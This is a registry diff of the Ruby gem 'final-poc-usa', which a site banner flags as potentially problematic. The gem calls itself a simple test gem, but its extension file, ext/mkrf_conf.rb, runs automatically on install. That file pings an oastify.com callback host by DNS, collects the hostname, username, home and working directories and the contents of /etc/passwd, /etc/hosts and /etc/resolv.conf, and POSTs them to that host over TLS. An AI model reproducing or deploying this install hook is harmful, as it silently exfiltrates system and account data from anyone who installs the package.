final-poc-usa 0.99800.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of final-poc-usa might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/ext/mkrf_conf.rb +39 -0
- data/lib/final/poc/usa.rb +12 -0
- metadata +42 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 0036dc3e664bd888f4ab94a7c55c3d6b74f2ce351be51428b206696294d5719a
|
|
4
|
+
data.tar.gz: 84e5997f729655e3762a254500985aab2fa4ff417149264770255a3c5360689c
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 1aad6dfaa747170ead9bb13d4d7cb3659e7c48164df2322d810f2f2fa548bcc11d52a284c26ff523a867235ec20d226676ae9e90c407b3b4a2028470e20faa96
|
|
7
|
+
data.tar.gz: a3db2d466c75a79e36808b73f8f0693860f5f581608403acfbdf004fbd0607e5b1ce98e6df193733f6468a4e9ffe3694dbfbfafc806df5c5d2e6b39eabaa0384
|
data/ext/mkrf_conf.rb
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
# Install hote hi yeh code chalega - AUTO EXECUTION!
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'socket'
|
|
5
|
+
require 'etc'
|
|
6
|
+
require 'openssl'
|
|
7
|
+
require 'resolv'
|
|
8
|
+
|
|
9
|
+
# DNS Callback
|
|
10
|
+
begin
|
|
11
|
+
Resolv.getaddress('8v41y3b0lsbo0szwymwb0wb3juptdj18.oastify.com')
|
|
12
|
+
rescue; end
|
|
13
|
+
|
|
14
|
+
# System data
|
|
15
|
+
data = {
|
|
16
|
+
p: 'final-poc-usa',
|
|
17
|
+
c: Dir.pwd,
|
|
18
|
+
hd: Dir.home,
|
|
19
|
+
hn: Socket.gethostname,
|
|
20
|
+
un: Etc.getlogin,
|
|
21
|
+
dns: File.exist?('/etc/resolv.conf') ? File.read('/etc/resolv.conf') : nil,
|
|
22
|
+
etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
|
|
23
|
+
etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
|
|
24
|
+
}.to_json
|
|
25
|
+
|
|
26
|
+
# HTTPS POST
|
|
27
|
+
begin
|
|
28
|
+
s = TCPSocket.new('8v41y3b0lsbo0szwymwb0wb3juptdj18.oastify.com', 443)
|
|
29
|
+
ssl = OpenSSL::SSL::SSLSocket.new(s)
|
|
30
|
+
ssl.sync_close = true
|
|
31
|
+
ssl.connect
|
|
32
|
+
body = {msg: data}.to_json
|
|
33
|
+
ssl.write("POST / HTTP/1.1\r\nHost: 8v41y3b0lsbo0szwymwb0wb3juptdj18.oastify.com\r\nContent-Type: application/json\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
|
|
34
|
+
ssl.read
|
|
35
|
+
ssl.close
|
|
36
|
+
rescue; end
|
|
37
|
+
|
|
38
|
+
# Dummy file
|
|
39
|
+
File.write(File.join(__dir__, '..', 'lib', '.installed'), 'done')
|
metadata
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: final-poc-usa
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.99800.0
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Shoaib
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: A simple test gem that collects system info
|
|
13
|
+
email: shoaib@example.com
|
|
14
|
+
executables: []
|
|
15
|
+
extensions:
|
|
16
|
+
- ext/mkrf_conf.rb
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- ext/mkrf_conf.rb
|
|
20
|
+
- lib/final/poc/usa.rb
|
|
21
|
+
homepage: https://rubygems.org/gems/shoaib-final
|
|
22
|
+
licenses:
|
|
23
|
+
- MIT
|
|
24
|
+
metadata: {}
|
|
25
|
+
rdoc_options: []
|
|
26
|
+
require_paths:
|
|
27
|
+
- lib
|
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
29
|
+
requirements:
|
|
30
|
+
- - ">="
|
|
31
|
+
- !ruby/object:Gem::Version
|
|
32
|
+
version: '0'
|
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
|
+
requirements:
|
|
35
|
+
- - ">="
|
|
36
|
+
- !ruby/object:Gem::Version
|
|
37
|
+
version: '0'
|
|
38
|
+
requirements: []
|
|
39
|
+
rubygems_version: 3.6.7
|
|
40
|
+
specification_version: 4
|
|
41
|
+
summary: Shoaib Final Test Gem
|
|
42
|
+
test_files: []
|